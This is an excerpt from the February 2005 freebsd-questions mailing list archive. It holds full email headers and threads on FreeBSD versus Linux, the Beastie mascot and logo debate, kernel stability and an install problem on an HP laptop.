+0000 (GMT) Received: from badcomputer.org (S01060040f4399d90.ok.shawcable.net [24.66.229.115]) by mx1.FreeBSD.org (Postfix) with ESMTP id 89EB543D45 for ; Sat, 12 Feb 2005 19:41:02 +0000 (GMT) (envelope-from bulliver@badcomputer.org) Received: from [192.168.0.102] (helo=virgo.badcomputer.org) by badcomputer.org with esmtp (Exim 2.45) id 1D038g-00064I-PQ for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 11:41:10 -0800 From: darren kirby Organization: Badcomputer Org. To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 11:41:01 -0800 User-Agent: KMail/1.7.2 References: <200502112313.28082.hindrich@worldchat.com> <9162ea4ff171ffc111003a204c81ef7d@HiWAAY.net> In-Reply-To: <9162ea4ff171ffc111003a204c81ef7d@HiWAAY.net> MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart8550036.iIlLhtNjQi"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502121141.07311.bulliver@badcomputer.org> Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: bulliver@badcomputer.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:41:06 -0000 --nextPart8550036.iIlLhtNjQi Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline quoth the David Kelly: > Look closely at the Linux community and you'll find its mostly > ex-Windows users focused on what Microsoft is doing. The desire is to > one-up Microsoft at Microsoft's own game. Their definition of > "computer" and "human interface" was written by Microsoft and still > can't think outside of that box. I think your interpretation here is a tad glib. Sure there are thousands of= =20 people coming to Linux because they 'hate' MS. Sure they don't know gcc fro= m=20 ppc but I don't think it is fair to call them the 'community', rather a sma= ll=20 subset. Do you think these people are writing any software? Are they=20 designing programming interfaces? Do they have a damn thing to do with the= =20 development of Linux or any of its supporting software? Hell no. They are=20 just users clogging up the message boards and mailing lists with stupid=20 questions. "Human Interface"? Am I missing something? Can you please tell m= e=20 where the much superior FreeBSD human interface can be downloaded? In the=20 console they are pretty much the same keystroke for keystroke, and on the=20 desktop it is all the same software... I run FreeBSD and Linux, and I love them both. I am trying to point out tha= t=20 when you slam Linux developers with pettiness and name calling that you are= =20 no better than all the lusers slamming MS, and thinking they're leet becaus= e=20 they installed Fedora? I have noticed a lot of this on FreeBSD lists, and I= =20 think it is counterproductive because it is unprofessional and in the end=20 more people using Linux means more people running free software which=20 benefits _all_ of us...and besides, it is offensive to people like me that= =20 just like playing with 'nix boxes and run both. Why can't you just run your FreeBSD and feel superior, silently? > Look closely at the BSD community and you'll find those who are working > at creating a better tool to serve their needs. Much debate about > exactly what constitutes "better" so there is also quite a bit of > experimenting. What you won't find is Microsoft as the yardstick by > which BSD's measure. > > -- > David Kelly N4HHE, dkelly@HiWAAY.net > =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D > Whom computers would destroy, they must first drive mad. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" =2D-=20 darren kirby :: Part of the problem since 1976 :: http://badcomputer.org "...the number of UNIX installations has grown to 10, with more expected..." =2D Dennis Ritchie and Ken Thompson, June 1972 --nextPart8550036.iIlLhtNjQi Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQBCDlvTwPD5Cr/3CJgRAnejAJ91WfCCCMBZSvloa9zn2EsTgoTWKQCdGsq2 XYS8RpIEuZF+U79SAl32wcg= =TVKp -----END PGP SIGNATURE----- --nextPart8550036.iIlLhtNjQi-- From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:51:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 288C616A4CE for ; Sat, 12 Feb 2005 19:51:33 +0000 (GMT) Received: from birch.viviotech.net (mail.hitsforhits.com [207.108.53.120]) by mx1.FreeBSD.org (Postfix) with ESMTP id 587AC43D2F for ; Sat, 12 Feb 2005 19:51:32 +0000 (GMT) (envelope-from jordan@viviotech.net) Received: (qmail 9818 invoked from network); 12 Feb 2005 19:58:48 -0000 Received: from unknown (HELO ?10.0.0.100?) (jordan@viviotech.net@68.185.43.88) by mail.hitsforhits.com with (DHE-RSA-AES256-SHA encrypted) SMTP; 12 Feb 2005 19:58:48 -0000 Message-ID: <420E5EB6.6010000@viviotech.net> Date: Sat, 12 Feb 2005 11:53:26 -0800 From: Jordan Michaels User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5) Gecko/20041217 X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20050212070058.98304.qmail@web51005.mail.yahoo.com> In-Reply-To: <20050212070058.98304.qmail@web51005.mail.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Virus-Status: CLEAN X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on birch.viviotech.net X-Spam-Level: X-Spam-Status: No, hits=-2.1 required=5.0 tests=AWL,BAYES_00, RCVD_IN_DYNABLOCK,RCVD_IN_SORBS autolearn=no version=2.63 cc: faisal gillani cc: opensource@clickonlinenetworks.com Subject: Re: FreeBSD Banners ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:51:33 -0000 faisal gillani wrote: >i want to promote freebsd on my site , where can i >find good looking freebsd AD banners ? >if you have mail me on >opensource@clickonlinenetworks.com > >thanks > > >===== >*º¤., ¸¸,.¤º*¨¨¨*¤ Allah-hu-Akber*º¤., ¸¸,.¤º*¨¨*¤ > God is the Greatest > > Greetings! You can find current banners and such here: http://www.freebsd.org/art.html Hope this helps! -Jordan From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:53:55 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CF16216A4CE; Sat, 12 Feb 2005 19:53:55 +0000 (GMT) Received: from engine140.deployzone.net (engine140.deployzone.net [193.17.85.140]) by mx1.FreeBSD.org (Postfix) with SMTP id F016143D1F; Sat, 12 Feb 2005 19:53:54 +0000 (GMT) (envelope-from chris@czv.com) Received: from adsl-212-90-218-5.cybernet.ch [212.90.218.5] by engine140.deployzone.net; Sat, 12 Feb 2005 20:53:14 +0100 In-Reply-To: <420E5604.9040401@401.cx> References: <420E5604.9040401@401.cx> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <8c411210ef532a4d2d5fd69636632809@czv.com> Content-Transfer-Encoding: 7bit From: Chris Zumbrunn Date: Sat, 12 Feb 2005 20:53:50 +0100 To: "Roger 'Rocky' Vetterberg" X-Mailer: Apple Mail (2.619.2) cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:53:55 -0000 On Feb 12, 2005, at 8:16 PM, Roger 'Rocky' Vetterberg wrote: > Ted Mittelstaedt wrote: >>> -----Original Message----- >>> From: owner-freebsd-questions@freebsd.org >>> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Roger >>> 'Rocky' >>> Vetterberg >>> Sent: Saturday, February 12, 2005 9:26 AM >>> To: Chris Zumbrunn >>> Cc: freebsd-advocacy@freebsd.org; freebsd-questions@freebsd.org >>> Subject: Re: Instead of freebsd.com, why not... >>> >>> >>> However, everytime I've tried to suggest even the slightest change >>> to freebsd.org, people has started to kick and scream and preach >>> about the end of the OS as we know it. >> I have never kicked and screamed about changes to the website layout >> or such, as long as we don't get rid of the recognizable logos on it. > > As far as Im concerned, there are no logos on the website. There is a > mascot, but no logo. This, it seems, is a matter of opinion. > >> What I and others have always said when someone like you comes along >> is that you should go for it. Put up a prototype website, it's a >> free country. Let us look at it. If it's better then the doc people >> will welcome your efforts on it. > > 'Better' would be a matter of opinion. It would also depend on how you > define a good website. For technical people looking for documentation, > the current website is very good. For marketing purposes, it sucks. > Eventough it is possible to combine the two, I advocate the separated > .org/.com solution, simply because the target audiences have very > different needs. You, clearly belonging in the technical category, > refuses to complement Beastie with a more proffesional logo, something > I think is necessary to satisfy the second category. Hence, a separate > site for marketing people seems to be a necessity. Don't you think this Beastie qualifies as a professional logo? http://top.ch/sitedata/freebsd/beastie.gif chris@czv.com +41 329 41 41 41 Chris Zumbrunn Ventures - http://www.czv.com/ Internet Application Technology - Reduced to the Maximum From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:58:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3D88416A4CE; Sat, 12 Feb 2005 19:58:08 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id 558AC43D3F; Sat, 12 Feb 2005 19:58:07 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CJw5B4037675; Sat, 12 Feb 2005 20:58:05 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E602A.4030904@401.cx> Date: Sat, 12 Feb 2005 20:59:38 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ted Mittelstaedt References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: freebsd-questions@freebsd.org cc: Garance A Drosehn Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:58:08 -0000 Ted Mittelstaedt wrote: > >>-----Original Message----- >>From: Garance A Drosehn [mailto:gad@FreeBSD.org] >>Sent: Friday, February 11, 2005 1:59 PM >>To: Ted Mittelstaedt; freebsd-questions@FreeBSD.org >>Subject: Re: Please don't change Beastie to another crap logo such as >>NetBSD!!! >> >> >> >>And frankly, most FreeBSD commiters do not read the -advocacy or >>-questions mailing lists (I never read advocacy, for instance). So >>maybe only three or four committers have explicitly expressed support >>for a LOGO CONTEST. > > Are you just too dense to understand that supporting a logo contest > automatically implies that you are unsatisfied with the current > logo? If you like Beastie why on earth would you want a contest > to replace him? I like Beastie! I wear shirts with Beastie! I have a 45cm tall sticker of Beastie on the front of my fridge, clearly visible to anyone that enters my appartment. I have "Powered by FreeBSD" stickers sporting Beastie on my laptop. I have Beastie as screensaver and as desktop background. Still, Im not to dense to realize that there is a need for a new logo. You, on the other hand, seem to be to dense* to realize the difference between a logo and a mascot. > > For the last time, it is not the contest that I and others are > objecting to. It is what you intend to do with the results of > the contest - that is, replace Beastie. Not replace. Complement. Some people would be extremely helped by a more proffesional looking logo. Therefor, the idea was put forward to complement Beastie with a logo useable in the commercial world. (Actually, the idea was never presented, it was drafted and then leaked before finished). This would mean that the people that likes Beastie can continue using it, while the people needing a more proffesional logo would also see their needs fullfilled. However, some people does not need a new logo, and they seem to fight furiously to stop a change that basically would not affect them at all. I simply fail to understand their stand in this. -- R * When I call you dense I do not seriously mean to question your intelligence. I respect you as the author of a very good book and I value your contributions to the community as well as your opinions, but in this matter I just find it impossible to understand your point of view. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:09:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6289C16A4CE; Sat, 12 Feb 2005 20:09:37 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id A5B6E43D2F; Sat, 12 Feb 2005 20:09:36 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CK9YOV037791; Sat, 12 Feb 2005 21:09:34 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E62DB.5050006@401.cx> Date: Sat, 12 Feb 2005 21:11:07 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Chris Zumbrunn References: <420E5604.9040401@401.cx> <8c411210ef532a4d2d5fd69636632809@czv.com> In-Reply-To: <8c411210ef532a4d2d5fd69636632809@czv.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:09:37 -0000 Chris Zumbrunn wrote: [snip] > > Don't you think this Beastie qualifies as a professional logo? > > http://top.ch/sitedata/freebsd/beastie.gif > Its a major step in the right direction. Personally, I dont really like it, but if it was to be the new logo I would not complain. It would solve most of the printing issues, but to me, it still does not look like something an advanced operating system would use. To much "playground" feeling over it. Maybe just the FreeBSD part and a couple of stylized horns over it, but that would mean Beastie would not be clearly visible and I dont know if I dare to suggest that. ;) No offense, I respect and appreciate your attempts. :) -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:11:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E5C9F16A4CE for ; Sat, 12 Feb 2005 20:11:56 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id B2F6743D1D for ; Sat, 12 Feb 2005 20:11:56 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1D03cQ-000K3d-3O for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 13:11:54 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: References: Message-Id: <5637FDDF-7D32-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Sat, 12 Feb 2005 13:11:53 -0700 To: 'freebsd-questions@freebsd.org' X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:11:57 -0000 On Feb 12, 2005, at 5:59 AM, Ted Mittelstaedt wrote: >> >> The stabilities of NT-based systems and UNIX are roughly the same when >> kernels are compared. > > How exactly does one do this when the NT kernel code isn't available > for perusal? > > Other than, of course, just running both and assuming that because > neither > happens to crash running a screensaver, that they must be roughly the > same. > That's a marketing comparison which has no value. After taking out all the kernel level stuff for the GUI and other performance enhancements that MS has made for the gamers and other people, I would say that it is probably true that the NT kernel and the BSD kernels are in the same order of magnitude of stability. Dave Cutler and his crew from DEC did a good job with VMS and VAX/ELN and RSX-11M and I would assume that they would do the same job in their kernel design and implementation for M$. However, since that happened MS has dumped a ton of crap into it. Chad disclaimer: I have not seen the source to NT but I do know the reputations of the implementors and designers of (at least the original) NT kernel. ex-DECcie From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:16:30 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 842B816A4CE for ; Sat, 12 Feb 2005 20:16:30 +0000 (GMT) Received: from mta6.srv.hcvlny.cv.net (mta6.srv.hcvlny.cv.net [167.206.5.72]) by mx1.FreeBSD.org (Postfix) with ESMTP id 392CB43D5D for ; Sat, 12 Feb 2005 20:16:30 +0000 (GMT) (envelope-from bsdnooby@optonline.net) Received: from [192.168.0.26] (ool-43532b7b.dyn.optonline.net [67.83.43.123]) by mta6.srv.hcvlny.cv.net (iPlanet Messaging Server 5.2 HotFix 1.25 (built Mar 3 2004)) with ESMTP id <0IBT00694EZH5Q@mta6.srv.hcvlny.cv.net> for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 15:16:29 -0500 (EST) Received: from 127.0.0.1 (AVG SMTP 7.0.300 [265.8.7]); Sat, 12 Feb 2005 15:16:18 -0500 Date: Sat, 12 Feb 2005 15:16:18 -0500 From: bsdnooby In-reply-to: To: Ted Mittelstaedt Message-id: <420E6412.1000606@optonline.net> MIME-version: 1.0 Content-type: text/plain; charset=ISO-8859-1; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en-us, en User-Agent: Mozilla Thunderbird 0.9 (Windows/20041103) References: cc: freebsd-questions@freebsd.org Subject: Re: Last try: HP Pavillion zv5445us shuts down during install of 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:16:30 -0000 Ted Mittelstaedt wrote: >does it work with 4.11? > >Ted > > > It does not work with 4.x either. I will collect my hardware specs and post those, shortly. The frustrating thing is that the system simply turns itself off after I choose to install, so there is no error log. I might also post my question to freebsd-mobile once I collect all the data I can. thx! -- No virus found in this outgoing message. Checked by AVG Anti-Virus. Version: 7.0.300 / Virus Database: 265.8.7 - Release Date: 2/10/2005 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:18:23 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id A556916A4CE for ; Sat, 12 Feb 2005 20:18:23 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id DF0CD43D2F for ; Sat, 12 Feb 2005 20:18:22 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [192.168.0.42] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id D0692348F2C; Sat, 12 Feb 2005 15:18:21 -0500 (EST) In-Reply-To: <1108158719.23699.86.camel@lorna.circlesquared.com> References: <649200329.20050211081852@wanadoo.fr> <621dabed4fc2996ae4cb3a2929d6842c@chrononomicon.com> <1108158719.23699.86.camel@lorna.circlesquared.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Sat, 12 Feb 2005 15:18:21 -0500 To: Peter Risdon X-Mailer: Apple Mail (2.619.2) cc: Garance A Drosihn cc: "freebsd-questions@freebsd.org" Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:18:23 -0000 On Feb 11, 2005, at 4:51 PM, Peter Risdon wrote: > On Fri, 2005-02-11 at 15:56 -0500, Garance A Drosihn wrote: >> At 8:00 AM -0500 2/11/05, Bart Silverstrim wrote: > [...] >>> Since when did FreeBSD, a project always driven by volunteers and >>> not by commercial matters, > > FreeBSD is a commercially viable operating system. I happen to think > it's the best server OS there is - for businesses. This thread has made > it seem, sometimes, as though the touch of commerce is anathema, which > is silly. As I understand it, the support of commercial organisations > is > vital to the project. If you want a project that pisses on its > sponsors, > there's always OpenBSD. I didn't say it wasn't commercially viable. What I said was that it was driven by the volunteers. Commercial support isn't being "pissed on". BUT it can easily taint it when a commercial sponsor goes from *just* supporting to saying they'll support more if...and more if this...and that...oh, and you don't want that person over there on the commit list because he's not a team player. And yes, I'm overdramatizing to try to make a point. If they want to support it, that's great. But the thing I don't want to see (and I hope others don't want to see) is FreeBSD starting to have it's priorities driven by commercial interests or a group of people who want to mess with something solely because it's not their definition of politically correct. The difference between driven by volunteers and driven by commercial interests is that commercial interests will cater to the user and give them what they want. The volunteers give them what they need. What they want yields products like Windows, so hobbled by bandages and bandaids for backward compatibility and security breaches to support their "ease of use" mantra that it is...well...crappy for use anywhere but the desktop. What they need yields servers that are reliable and robust and minimize unscheduled downtime. >> suddenly gain a marketing department >>> that is trying to steer FreeBSD into the business sector? > > You mean it isn't in the business sector? It's just for geeks to put on > their home computers? Somebody ought to mention that to Yahoo. And > let's > hope nobody who is having FreeBSD pitched to them as a viable server OS > for their business reads that remark as they google. Again, never said it wasn't. It was well made and it HAPPENED TO BE perfectly viable for that use. It was never a group of people who sat down and said, "How can we build this OS to serve Yahoo's customers the best?" Never read the remark that there's an ulterior motive behind the creation of FreeBSD, that it was aimed for businesses? My impression was that it was created to be a good server OS. Use it or don't. It doesn't need businesses to survive, but if they use it they'd be better off. It was untainted by business politics and marketing tripe. FreeBSD and Linux were examples of what happens when marketers stay OUT of the core process of delivering the project and the geeks using and developing the OS told users that if they wanted a feature, they might put it in...maybe not. Don't like it, you can do it yourself. Is this the best approach? Probably not. But it's how it came to this point. If marketing led FreeBSD's goals now, you'd have an OS that would require three times the RAM, twice the disk space, Ports would have a front end tool that's entirely GUI driven, the OS would have more services by default, and it would always install and boot to a GUI based on GNOME or KDE...because it friendlier and more marketable that way. >> Is >>> FreeBSD starting to have marketing dictate technology instead of >>> technology dictate marketing? > > What changes would a logo require of the underlying technology of > FreeBSD? That's just rhetoric. It doesn't. The question was, "is FreeBSD starting to have...". >> Some of those volunteers would like to see a new logo. Others >> would not. The vast majority probably do not care at all. Somehow >> the ones who like the present logo seem to think they can simply >> dismiss all comments from the other volunteers who would like a >> new logo, as if the work done by THOSE volunteers is somehow >> irrelevant. >> > > I haven't noticed anyone suggest that Beastie be banished, just that a > proper logo might be appropriate now. Here's a suggestion: Beastie > stays > as the mascot. People use it as and when they wish, subject to > conditions which are at the discretion of a private individual and not > the FreeBSD project. And there's a new logo, as opposed to mascot, if > the competition throws up one people like. This distinction has been being made more and more; "change logo, not mascot". I think what got people's hackles in a bind was that there has been periodic discussion over changing or altering the mascot because it's too satanic. He's evil! You're debbil worshippers! This periodic infringement of religion on geek territory...the mascot that has come to represent what many people have donated significant portions of their time to working with...makes people a little edgy whenever the word "change" comes within fifty feet of Beastie. They get a little touchy about that. People suggesting the contest and people flaming the protesters should step back and respect that. Then there's the announcement of a new logo. The first thought for the Beastie defenders is that another fundie feud is starting, and they might use this as a way to once again try to get rid of the logo...er, mascot...they have made so near and dear to them. > By the way, thanks very much indeed for the work you're doing as a > volunteer committer. Without that, we wouldn't be here burning up > bandwidth on a technical support mailing list. Every list has side comments and debates every so often, as much as the purists hate it. Almost as much as people hate it when new people ask the same question that was answered a week ago and is in the archives. Or is in the Handbook. Or the FAQs. Deal with it. This expresses some of the personality of people who use FreeBSD. I remember someone writing in saying they were an evangelist. Someone else questioned if they were a real evangelist for FreeBSD, working on stage arguing for deployment of FreeBSD like they did. Hey, it's great that you're out there being vocal, but you know what? Everyone who puts even ONE FreeBSD system in their business and points out that it's FreeBSD, not just another faceless server, is an evangelist. They took the time to learn the ropes of install and hopefully will learn the ropes of proper administration. If you want a pure list that never discusses anything, always follows strict rules of what to post how and when...you're going to lose potential sysadmins. People will be too afraid to speak up for fear of looking stupid. And you're going to look like you're on too high a pedestal to lower yourself to answering someone else's questions because they're just burning up bandwidth. From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:22:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 80DAF16A4CE for ; Sat, 12 Feb 2005 20:22:00 +0000 (GMT) Received: from smtp806.mail.sc5.yahoo.com (smtp806.mail.sc5.yahoo.com [66.163.168.185]) by mx1.FreeBSD.org (Postfix) with SMTP id 2495F43D1D for ; Sat, 12 Feb 2005 20:22:00 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp806.mail.sc5.yahoo.com with SMTP; 12 Feb 2005 20:22:00 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 12:21:58 -0800 User-Agent: KMail/1.7.2 References: <823306184.20050212113045@wanadoo.fr> <1164700865.20050212122335@wanadoo.fr> In-Reply-To: <1164700865.20050212122335@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121221.58874.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:22:00 -0000 On Saturday 12 February 2005 03:23 am, Anthony Atkielski wrote: > Ted Mittelstaedt writes: > > You got to be kidding - you actually prefer this over trn? ;-) > > I've never used trn. Forte Agent works fine for me. I originally > used Outlook Express but I couldn't put custom quote headers into it, > and so I switched. Ultimately Agent turned out to be very superior > to OE. Neither runs on FreeBSD, however. Maybe you should write to the developer of Agent and inquire about this issue. I'm not aware that anyone here can do anything about other projects, especially ones written specifically for Windows. Maybe you should try Pan. - jt From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:25:39 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3487216A4CE for ; Sat, 12 Feb 2005 20:25:39 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id DFC7943D1D for ; Sat, 12 Feb 2005 20:25:38 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0906.wanadoo.fr (SMTP Server) with ESMTP id C017C1C001F3 for ; Sat, 12 Feb 2005 21:25:37 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0906.wanadoo.fr (SMTP Server) with ESMTP id A6F2A1C00202 for ; Sat, 12 Feb 2005 21:25:37 +0100 (CET) X-ME-UUID: 20050212202537683.A6F2A1C00202@mwinf0906.wanadoo.fr Date: Sat, 12 Feb 2005 21:25:36 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <4610697608.20050212212536@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <1108223626.73547.14.camel@zappa.Chelsea-Ct.Org> References: <20050212103839.05EEC16A4D0@hub.freebsd.org> <1108223626.73547.14.camel@zappa.Chelsea-Ct.Org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:25:39 -0000 